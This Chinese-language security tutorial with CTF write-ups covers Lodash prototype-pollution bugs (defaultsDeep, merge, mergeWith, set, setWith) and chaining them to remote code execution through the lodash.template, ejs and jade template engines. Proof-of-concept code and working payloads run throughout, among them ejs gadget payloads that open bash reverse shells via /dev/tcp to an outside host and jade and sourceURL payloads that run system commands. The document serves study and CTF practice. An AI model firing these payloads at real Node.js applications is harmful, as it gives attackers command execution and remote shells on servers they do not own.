從 Lodash 原型鏈污染到模板 RCE

Lodash模塊原型鏈污染
Lodash 是一個 JavaScript 庫,包含簡化字符串、數字、數組、函數和對象編程的工具,可以幫助程序員更有效地編寫和維護 JavaScript 代碼。并且是一個流行的 npm 庫,僅在GitHub 上就有超過 400 萬個項目使用,Lodash的普及率非常高,每月的下載量超過 8000 萬次。但是這個庫中有幾個嚴重的原型污染漏洞。
lodash.defaultsDeep 方法造成的原型鏈污染(CVE-2019-10744)
2019 年 7 月 2 日,Snyk 發布了一個高嚴重性原型污染安全漏洞(CVE-2019-10744),影響了小于 4.17.12 的所有版本的 lodash。
Lodash 庫中的 defaultsDeep 函數可能會被包含 constructor 的 Payload 誘騙添加或修改Object.prototype 。最終可能導致 Web 應用程序崩潰或改變其行為,具體取決于受影響的用例。以下是 Snyk 給出的此漏洞驗證 POC:
const mergeFn = require('lodash').defaultsDeep;const payload = '{"constructor": {"prototype": {"whoami": "Vulnerable"}}}'
function check() { mergeFn({}, JSON.parse(payload)); if (({})[`a0`] === true) { console.log(`Vulnerable to Prototype Pollution via ${payload}`); } }
check();
我們在 mergeFn({}, JSON.parse(payload)); 處下斷點,單步結束后可以看到:

成功在 __proto__ 屬性中添加了一個 whoami 屬性,值為 Vulnerable,污染成功。
該漏洞披露之后,Lodash 于 7 月 9 日發布了 4.17.12 版本,其中包括 Snyk 修復和修復漏洞。我們可以參考一下 Snyk 的工程師 Kirill 發布到 GitHub 上的 lodash JavaScript 庫存儲庫 https://github.com/lodash/lodash/pull/4336/files 的實際安全修復:


該修復包括以下兩項安全檢查:
過濾了 constructor 以確保我們不會污染全局對象constructor
還添加了一個測試用例以確保將來不會發生回歸
lodash.merge 方法造成的原型鏈污染
Lodash.merge 作為 lodash 中的對象合并插件,他可以遞歸合并 sources 來源對象自身和繼承的可枚舉屬性到 object 目標對象,以創建父映射對象:
merge(object, sources)
當兩個鍵相同時,生成的對象將具有最右邊的鍵的值。如果多個對象相同,則新生成的對象將只有一個與這些對象相對應的鍵和值。但是這里的 lodash.merge 操作實際上存在原型鏈污染漏洞,下面對其進行簡單的分析,這里使用 4.17.4 版本的 Lodash。
node_modules/lodash/merge.js

merge.js 調用了 baseMerge 方法,則定位到 baseMerge
node_modules/lodash/_baseMerge.js

如果 srcValue 是一個對象則進入 baseMergeDeep 方法,跟進 baseMergeDeep 方法:
node_modules/lodash/_baseMergeDeep.js

跟進 assignMergeValue 方法:
node_modules/lodash/_assignMergeValue.js:

跟進 baseAssignValue 方法:
node_modules/lodash/_baseAssignValue.js

這里的 if 判斷可以繞過,最終進入 object[key] = value 的賦值操作。
下面給出一個驗證漏洞的 POC:
var lodash= require('lodash');var payload = '{"__proto__":{"whoami":"Vulnerable"}}';
var a = {};console.log("Before whoami: " + a.whoami);lodash.merge({}, JSON.parse(payload));console.log("After whoami: " + a.whoami);
我們在 lodash.merge({}, JSON.parse(payload)); 處下斷點,單步結束后可以看到:

成功在類型為 Object 的 a 對象的 __proto__ 屬性中添加了一個 whoami 屬性,值為 Vulnerable,污染成功。
在 lodash.merge 方法造成的原型鏈污染中,為了實現代碼執行,我們常常會污染 sourceURL 屬性,即給所有 Object 對象中都插入一個 sourceURL 屬性,然后通過 lodash.template 方法中的拼接實現任意代碼執行漏洞。后文中我們會通過 [Code-Breaking 2018] Thejs 這道題來仔細講解。
lodash.mergeWith 方法造成的原型鏈污染
這個方法類似于 merge 方法。但是它還會接受一個 customizer,以決定如何進行合并。如果 customizer 返回 undefined 將會由合并處理方法代替。
mergeWith(object, sources, [customizer])
該方法與 merge 方法一樣存在原型鏈污染漏洞,下面給出一個驗證漏洞的 POC:
var lodash= require('lodash');var payload = '{"__proto__":{"whoami":"Vulnerable"}}';
var a = {};console.log("Before whoami: " + a.whoami);lodash.mergeWith({}, JSON.parse(payload));console.log("After whoami: " + a.whoami);
我們在 lodash.mergeWith({}, JSON.parse(payload)); 處下斷點,單步結束后可以看到:

成功在類型為 Object 的 a 對象的 __proto__ 屬性中添加了一個 whoami 屬性,值為 Vulnerable,污染成功。
lodash.set 方法造成的原型鏈污染
Lodash.set 方法可以用來設置值到對象對應的屬性路徑上,如果沒有則創建這部分路徑。缺少的索引屬性會創建為數組,而缺少的屬性會創建為對象。
set(object, path, value)
示例:
var object = { 'a': [{ 'b': { 'c': 3 } }] };
_.set(object, 'a[0].b.c', 4);console.log(object.a[0].b.c);// => 4
_.set(object, 'x[0].y.z', 5);console.log(object.x[0].y.z);// => 5
在使用 Lodash.set 方法時,如果沒有對傳入的參數進行過濾,則可能會造成原型鏈污染。下面給出一個驗證漏洞的 POC:
var lodash= require('lodash');
var object_1 = { 'a': [{ 'b': { 'c': 3 } }] };var object_2 = {}
console.log(object_1.whoami);//lodash.set(object_2, 'object_2["__proto__"]["whoami"]', 'Vulnerable');lodash.set(object_2, '__proto__.["whoami"]', 'Vulnerable');console.log(object_1.whoami);
我們在 lodash.set(object_2, '__proto__.["whoami"]', 'Vulnerable'); 處下斷點,單步結束后可以看到:

在類型為 Array 的 object1 對象的 `_proto屬性中出現了一個whoami屬性,值為Vulnerable`,污染成功。
lodash.setWith 方法造成的原型鏈污染
Lodash.setWith 方法類似 set 方法。但是它還會接受一個 customizer,用來調用并決定如何設置對象路徑的值。如果 customizer 返回 undefined 將會有它的處理方法代替。
setWith(object, path, value, [customizer])
該方法與 set 方法一樣可以進行原型鏈污染,下面給出一個驗證漏洞的 POC:
var lodash= require('lodash');
var object_1 = { 'a': [{ 'b': { 'c': 3 } }] };var object_2 = {}
console.log(object_1.whoami);//lodash.setWith(object_2, 'object_2["__proto__"]["whoami"]', 'Vulnerable');lodash.setWith(object_2, '__proto__.["whoami"]', 'Vulnerable');console.log(object_1.whoami);
我們在 lodash.setWith(object_2, '__proto__.["whoami"]', 'Vulnerable'); 處下斷點,單步結束后可以看到:

在類型為 Array 的 object1 對象的 `_proto屬性中出現了一個whoami屬性,值為Vulnerable`,污染成功。
至此,我們已經對 lodash 模塊中的幾個原型鏈污染做了驗證,可以成功污染原型中的屬性。但如果要進行代碼執行,則還需要配合 eval() 方法的執行或模板引擎的渲染。
配合lodash.template實現RCE
Lodash.template 是 Lodash 中的一個簡單的模板引擎,創建一個預編譯模板方法,可以插入數據到模板中 “interpolate” 分隔符相應的位置。詳情請看:http://lodash.think2011.net/template
在 Lodash 的原型鏈污染中,為了實現代碼執行,我們常常會污染 template 中的 sourceURL 屬性,即給所有 Object 對象中都插入一個 sourceURL 屬性,然后通過 lodash.template 方法中的拼接實現任意代碼執行漏洞。下面我們通過 [Code-Breaking 2018] Thejs 這道題來仔細講解。
[Code-Breaking 2018]Thejs
進入題目,主頁如下:

關鍵源碼如下:
- server.js
const fs = require('fs')const express = require('express')const bodyParser = require('body-parser')const lodash = require('lodash')const session = require('express-session')const randomize = require('randomatic')
const app = express()app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json()) // 使用 json 解析 bodyapp.use('/static', express.static('static'))app.use(session({ // 啟用 session name: 'thejs.session', secret: randomize('aA0', 16), resave: false, saveUninitialized: false}))app.engine('ejs', function (filePath, options, callback) { // 設置使用 ejs 模板引擎 fs.readFile(filePath, (err, content) => { if (err) return callback(new Error(err)) let compiled = lodash.template(content) // 使用 lodash.template 創建一個預編譯模板方法供后面使用 let rendered = compiled({...options})
return callback(null, rendered) })})app.set('views', './views')app.set('view engine', 'ejs')
app.all('/', (req, res) => { let data = req.session.data || {language: [], category: []} if (req.method == 'POST') { data = lodash.merge(data, req.body) // 將用戶提交的數據合并到 req.session.data 中去 req.session.data = data }
res.render('index', { language: data.language, category: data.category })})
app.listen(3000, () => console.log(`Example app listening on port 3000!`))
代碼很簡單,就是將用戶提交的信息,用 lodash.merge 方法合并到 session 里面去,多次提交, session 里最終保存你提交的所有信息。這里的 lodash.merge 操作存在原型鏈污染漏洞無需多言,下面給出解題的 payload;
{"__proto__":{"sourceURL":"\u000areturn e =>{return global.process.mainModule.constructor._load('child_process').execSync('id')}"}}
為什么要污染 sourceURL 呢?我們看到 lodash.template 的代碼:https://github.com/lodash/lodash/blob/4.17.4-npm/template.js#L165
// Use a sourceURL for easier debugging.var sourceURL = 'sourceURL' in options ? '//# sourceURL=' + options.sourceURL + '' : '';// ...var result = attempt(function() { return Function(importsKeys, sourceURL + 'return ' + source) .apply(undefined, importsValues);});
可以看到 sourceURL 屬性是通過一個三目運算法賦值,其默認值為空。再往下看可以發現 sourceURL 被拼接進 Function 函數構造器的第二個參數,造成任意代碼執行漏洞。所以我們通過原型鏈污染 sourceURL 參數構造 chile_process.exec 就可以執行任意代碼了。但是要注意,Function 環境下沒有 require 函數,直接使用require('child_process') 會報錯,所以我們要用 global.process.mainModule.constructor._load 來代替。
我們將 payload 以 Json 的形式發送給后端,因為 express 框架支持根據 Content-Type 來解析請求 Body,為我們注入原型提供了很大方便:

如上圖所示,成功執行 id 命令。
配合ejs模板引擎實現RCE
Nodejs 的 ejs 模板引擎存在一個利用原型污染進行 RCE 的一個漏洞。但要實現 RCE,首先需要有原型鏈污染,這里我們暫且使用 lodash.merge 方法中的原型鏈污染漏洞。
- app.js
var express = require('express');var lodash = require('lodash');var ejs = require('ejs');
var app = express();//設置模板的位置與種類app.set('views', __dirname);app.set('views engine','ejs');
//對原型進行污染var malicious_payload = '{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').exec(\'calc\');var __tmp2"}}';lodash.merge({}, JSON.parse(malicious_payload));
//進行渲染app.get('/', function (req, res) { res.render ("index.ejs",{ message: 'whoami test' });});
//設置httpvar server = app.listen(8000, function () {
var host = server.address().address var port = server.address().port
console.log("應用實例,訪問地址為 http://%s:%s", host, port)});
- index.ejs
<%= message%>
運行 app.js 后訪問 8000 端口,成功彈出計算器:

下面我們開始分析。
剛開始的 lodash.merge 原型鏈污染沒有什么可說的,在 lodash.merge({}, JSON.parse(malicious_payload)); 處下斷點,單步結束后可以看到:

成功在 __proto__ 中出污染了一個 outputFunctionName 屬性,值為 _tmp1;global.process.mainModule.require(\'child_process\').exec(\'calc\');var __tmp2。
但為什么要污染一個 outputFunctionName 屬性呢?我們繼續往下看。我們從 index.js::res.render 處開始,跟進 render 方法:
node_modules/express/lib/response.js

跟進到 app.render 方法:
node_modules/express/lib/application.js

發現最終會進入到 app.render 方法里的 tryRender 函數,跟進到 tryRender:
node_modules/express/lib/application.js

調用了 view.render 方法,繼續跟進 view.render :
node_modules/express/lib/view.js

至此調用了 engine,也就是說從這里進入到了模板渲染引擎 ejs.js 中。跟進 ejs.js 中的 renderFile 方法:
node_modules/ejs/ejs.js

發現 renderFile 中又調用了 tryHandleCache 方法,跟進 tryHandleCache:
node_modules/ejs/ejs.js

進入到 handleCache 方法,跟進 handleCache:
node_modules/ejs/ejs.js

在 handleCache 中找到了渲染模板的 compile 方法,跟進 compile:

發現在 compile 中存在大量的渲染拼接。這里將 opts.outputFunctionName 拼接到 prepended 中,prepended 在最后會被傳遞給 this.source 并被帶入函數執行。所以如果我們能夠污染 opts.outputFunctionName,就能將我們構造的 payload 拼接進 js 語句中,并在 ejs 渲染時進行 RCE。在 ejs 中還有一個 render 方法,其最終也是進入了 compile。最后給出幾個 ejs 模板引擎 RCE 常用的 POC:
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').execSync('calc');var __tmp2"}}
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').exec('calc');var __tmp2"}}
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/6666 0>&1\"');var __tmp2"}}
- [XNUCA 2019 Qualifier]Hardjs
進入題目是一個登錄頁面:

關鍵源碼如下:
- server.js
const fs = require('fs')const express = require('express')const bodyParser = require('body-parser')const lodash = require('lodash')const session = require('express-session')const randomize = require('randomatic')const mysql = require('mysql')const mysqlConfig = require("./config/mysql")const ejs = require('ejs')
...
app.get("/get",auth,async function(req,res,next){
var userid = req.session.userid ; var sql = "select count(*) count from `html` where userid= ?" // var sql = "select `dom` from `html` where userid=? "; var dataList = await query(sql,[userid]);
if(dataList[0].count == 0 ){ res.json({})
}else if(dataList[0].count > 5) { // if len > 5 , merge all and update mysql
console.log("Merge the recorder in the database.");
var sql = "select `id`,`dom` from `html` where userid=? "; var raws = await query(sql,[userid]); var doms = {} var ret = new Array();
for(var i=0;i lodash.defaultsDeep(doms,JSON.parse( raws[i].dom )); // 漏洞點
var sql = "delete from `html` where id = ?"; var result = await query(sql,raws[i].id); } var sql = "insert into `html` (`userid`,`dom`) values (?,?) "; var result = await query(sql,[userid, JSON.stringify(doms) ]);
if(result.affectedRows > 0){ ret.push(doms); res.json(ret); }else{ res.json([{}]); }
}else {
console.log("Return recorder is less than 5,so return it without merge."); var sql = "select `dom` from `html` where userid=? "; var raws = await query(sql,[userid]); var ret = new Array();
for( var i =0 ;i< raws.length ; i++){ ret.push(JSON.parse( raws[i].dom )); }
console.log(ret); res.json(ret); }
});
...
查看 /get 路由的邏輯,可以看到當條數大于五條時會觸 merge 發合并操作,并且使用的是 lodash.defaultsDeep,這個方法存在原型鏈污染,在前文已經分析過不在多說。發現題目還使用了 ejs 模板引擎,我們可以通過 ejs 模板引擎進行 RCE。下面給出 payload:
{"type": "test", "content": {"constructor": {"prototype": {"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1\"');var __tmp2"}}}}
向 /add 路由發送 6 次請求:

然后訪問 /get 路由進行原型鏈污染,最后訪問 / 或 /login 路由觸發 render 函數進行 ejs 模板 RCE,成功反彈 Shell:

配合jade模板引擎實現RCE
Nodejs 的 jade 模板引擎存在一個利用原型污染進行 RCE 的一個漏洞。但要實現 RCE,首先需要有原型鏈污染,這里我們暫且使用 lodash.merge 方法中的原型鏈污染漏洞。
- app.js
var express = require('express');var lodash= require('lodash');var jade = require('jade');
var app = express();//設置模板的位置與種類app.set('views', __dirname);app.set("view engine", "jade");
//對原型進行污染var malicious_payload = '{"__proto__":{"compileDebug":1,"self":1,"line":"console.log(global.process.mainModule.require(\'child_process\').execSync(\'calc\'))"}}';lodash.merge({}, JSON.parse(malicious_payload));
//進行渲染app.get('/', function (req, res) { res.render ("index.jade",{ message: 'whoami test' });});
//設置httpvar server = app.listen(8000, function () {
var host = server.address().address var port = server.address().port
console.log("應用實例,訪問地址為 http://%s:%s", host, port)});
- index.jade
h1 #{message}p #{message}
運行 app.js 后訪問 8000 端口,成功彈出計算器:

下面我們開始分析。
Jade 模板引擎 RCE 的挖掘思路和 ejs 模板的思路很像,當開始都是:res.render => app.render => tryRender => view.render => this.engine,然后從 engine 開始進入 jade 模板,jade 入口是 exports.__express:

首先可以看到 options.compileDebug 無初始值,所以我們可以通過原型污染覆蓋開啟 Debug 模式,即:
{"__proto__":{"compileDebug":1}}
然后會進入 renderFile 方法,跟進之:
node_modules/jade/lib/index.js

返回的時候進入了 handleTemplateCache 方法,跟進 handleTemplateCache:
node_modules/jade/lib/index.js

進入 complie 方法,跟進 complie:
node_modules/jade/lib/index.js

Jade 模板和 ejs 不同,在 compile 編譯之前會有 parse 解析,跟進 parse:
node_modules/jade/lib/index.js

在 parse 中先經過 parser.parse 解析,然后由 compiler.compile 進行編譯,最后返回編譯后代碼:

但是在 body 中存在發現報錯處理入口 addWith,只要不進入這個條件分支就可以避免報錯了,也就需要我們通過原型污染將 self 覆蓋為 true:
{"__proto__":{"compileDebug":1,"self":1}}
然后我們回過頭來跟進 compiler.compile,看看其作用:
node_modules/jade/lib/compiler.js

首先,編譯后代碼會存放在 this.buf 中,然后通過 this.visit(this.node) 遍歷分析 parse 產生的 AST 樹 this.node,跟進 visit:
node_modules/jade/lib/compiler.js

可以看到,如果 debug 為真,則 node.line 就會被 push 進去,并造成拼接,然后就可以返回 buf 部分進行命令執行。所以最終的 Payload 如下:
{"__proto__":{"compileDebug":1,"self":1,"line":"console.log(global.process.mainModule.require('child_process').execSync('calc'))"}}
Ending……

- End - 精彩推薦 【技術分享】CTF 中如何欺騙 AI 【技術分享】gomarkdown/markdown 項目的 XSS 漏洞產生與分析 【技術分享】祥云杯 By 天璇Merak 【技術分享】K8S Runtime入侵檢測之Falco
戳“閱讀原文”查看更多內容